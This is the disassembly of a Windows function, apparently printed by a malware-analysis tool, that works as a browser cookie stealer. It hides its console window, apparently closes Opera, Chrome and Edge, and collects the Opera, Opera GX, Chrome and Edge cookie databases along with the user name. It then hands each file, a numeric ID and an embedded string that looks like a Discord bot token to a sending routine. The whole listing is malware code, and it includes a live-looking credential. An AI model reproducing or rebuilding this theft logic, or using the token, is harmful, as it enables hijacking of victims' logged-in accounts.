Function at 0x140011410
Capabilities:
Get session user name
Query environment variable

Disassembly:
jmp 0x14001abc0
push rbp
push rdi
sub rsp, 0xa78
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0xa48], rax
lea rcx, [0x14002b0f7]
call fcn.1400115fa
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rcx, str.opera.exe
call fcn.14001119f
nop
lea rcx, str.chrome.exe
call fcn.14001119f
nop
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, str.opera.exe
call fcn.14001119f
nop
lea rcx, str.msedge.exe
call fcn.14001119f
nop
lea rdx, str.1289226096314683392
lea rcx, [rbp + 0x28]
call fcn.140011285
nop
lea rdx, str.MTI4OTI0MTE4NjQxODAzNjk1OA.GnXyK2.4DcNpXHPsfzHvFR57NXnOmIVMDqsWRXF8dMdvU
lea rcx, [rbp + 0x68]
call fcn.140011285
nop
lea rcx, str.APPDATA
call qword [sym.imp.ucrtbased.dll_getenv]
mov qword [rbp + 0xa8], rax
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.ucrtbased.dll_getenv]
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x728]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.Opera_SoftwareOpera_StableDefaultNetworkCookies
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0xe8]
call fcn.14001157d
nop
lea rcx, [rbp + 0x728]
call fcn.140011113
nop
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x768]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.Opera_SoftwareOpera_GX_StableNetworkCookies
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x128]
call fcn.14001157d
nop
lea rcx, [rbp + 0x768]
call fcn.140011113
nop
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x7a8]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.GoogleChromeUser_DataDefaultNetworkCookies
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x168]
call fcn.14001157d
nop
lea rcx, [rbp + 0x7a8]
call fcn.140011113
nop
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x7e8]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.MicrosoftEdgeUser_DataDefaultNetworkCookies
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x1a8]
call fcn.14001157d
nop
lea rcx, [rbp + 0x7e8]
call fcn.140011113
nop
mov dword [rbp + 0x304], 0x100
lea rdx, [rbp + 0x304]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x14001afee
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x828]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.s_PC__Opera
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x328]
call fcn.14001157d
nop
lea rcx, [rbp + 0x828]
call fcn.140011113
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x868]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.s_PC__Opera_GX
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x368]
call fcn.14001157d
nop
lea rcx, [rbp + 0x868]
call fcn.140011113
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x8a8]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.s_PC__Chrome
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x3a8]
call fcn.14001157d
nop
lea rcx, [rbp + 0x8a8]
call fcn.140011113
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x8e8]
call fcn.140011285
mov qword [rbp + 0xa38], rax
mov rax, qword [rbp + 0xa38]
mov qword [rbp + 0xa40], rax
lea r8, str.s_PC__Microsoft_Edge
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0x3e8]
call fcn.14001157d
nop
lea rcx, [rbp + 0x8e8]
call fcn.140011113
nop
lea r9, [rbp + 0x328]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xe8]
call fcn.140011541
nop
lea r9, [rbp + 0x368]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x128]
call fcn.140011541
nop
lea r9, [rbp + 0x3a8]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x168]
call fcn.140011541
nop
lea r9, [rbp + 0x3e8]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x1a8]
call fcn.140011541
nop
lea rcx, [rbp + 0x3e8]
call fcn.140011113
nop
lea rcx, [rbp + 0x3a8]
call fcn.140011113
nop
lea rcx, [rbp + 0x368]
call fcn.140011113
nop
lea rcx, [rbp + 0x328]
call fcn.140011113
nop
jmp 0x14001b0e2
lea rdx, [0x14001fc14]
lea rcx, [rbp + 0x928]
call fcn.140011285
nop
lea r9, [rbp + 0x928]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xe8]
call fcn.140011541
nop
lea rcx, [rbp + 0x928]
call fcn.140011113
nop
lea rdx, str.Opera_GX
lea rcx, [rbp + 0x968]
call fcn.140011285
nop
lea r9, [rbp + 0x968]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x128]
call fcn.140011541
nop
lea rcx, [rbp + 0x968]
call fcn.140011113
nop
lea rdx, str.Chrome
lea rcx, [rbp + 0x9a8]
call fcn.140011285
nop
lea r9, [rbp + 0x9a8]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x168]
call fcn.140011541
nop
lea rcx, [rbp + 0x9a8]
call fcn.140011113
nop
lea rdx, str.Microsoft_Edge
lea rcx, [rbp + 0x9e8]
call fcn.140011285
nop
lea r9, [rbp + 0x9e8]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x1a8]
call fcn.140011541
nop
lea rcx, [rbp + 0x9e8]
call fcn.140011113
nop
mov dword [rbp + 0xa24], 0
lea rcx, [rbp + 0x1a8]
call fcn.140011113
nop
lea rcx, [rbp + 0x168]
call fcn.140011113
nop
lea rcx, [rbp + 0x128]
call fcn.140011113
nop
lea rcx, [rbp + 0xe8]
call fcn.140011113
nop
lea rcx, [rbp + 0x68]
call fcn.140011113
nop
lea rcx, [rbp + 0x28]
call fcn.140011113
mov eax, dword [rbp + 0xa24]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140020450]
call fcn.1400114f1
mov eax, edi
mov rcx, qword [rbp + 0xa48]
xor rcx, rbp
call fcn.1400112df
lea rsp, [rbp + 0xa58]
pop rdi
pop rbp
ret